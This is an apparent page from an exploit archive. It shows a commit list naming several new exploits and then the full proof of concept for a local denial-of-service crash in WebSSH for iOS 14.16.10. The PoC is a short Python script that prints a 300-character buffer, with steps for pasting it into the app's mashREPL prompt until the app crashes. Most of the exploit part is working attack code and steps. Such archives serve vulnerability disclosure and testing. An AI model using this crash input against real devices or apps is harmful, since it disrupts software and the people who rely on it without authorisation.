2f8f6dffbd
8 changes to exploits/shellcodes WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC) Visual Studio Code 1.47.1 - Denial of Service (PoC) WordPress Plugin Stop Spammers 2021.8 - 'log' Reflected Cross-site Scripting (XSS) In4Suit ERP 3.2.74.1370 - 'txtLoginId' SQL injection ManageEngine ADSelfService Plus 6.1 - CSV Injection COVID19 Testing Management System 1.0 - SQL Injection (Auth Bypass) COVID19 Testing Management System 1.0 - 'Admin name' Cross-Site Scripting (XSS)
23 lines
No EOL
699 B
Python
Executable file
23 lines
No EOL
699 B
Python
Executable file
# Exploit Title: WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC)
|
|
# Author: Luis Martinez
|
|
# Discovery Date: 2021-05-18
|
|
# Vendor Homepage: https://apps.apple.com/mx/app/webssh-ssh-client/id497714887
|
|
# Software Link: App Store for iOS devices
|
|
# Tested Version: 14.16.10
|
|
# Vulnerability Type: Denial of Service (DoS) Local
|
|
# Tested on OS: iPhone 7 iOS 14.5.1
|
|
|
|
# Steps to Produce the Crash:
|
|
# 1.- Run python code: WebSSH_for_iOS_14.16.10.py
|
|
# 2.- Copy content to clipboard
|
|
# 3.- Open "WebSSH for iOS"
|
|
# 4.- Click -> Tools
|
|
# 5.- Click -> mashREPL
|
|
# 6.- Paste ClipBoard on "mashREPL>"
|
|
# 7.- Intro
|
|
# 8.- Crashed
|
|
|
|
#!/usr/bin/env python
|
|
|
|
buffer = "\x41" * 300
|
|
print (buffer) |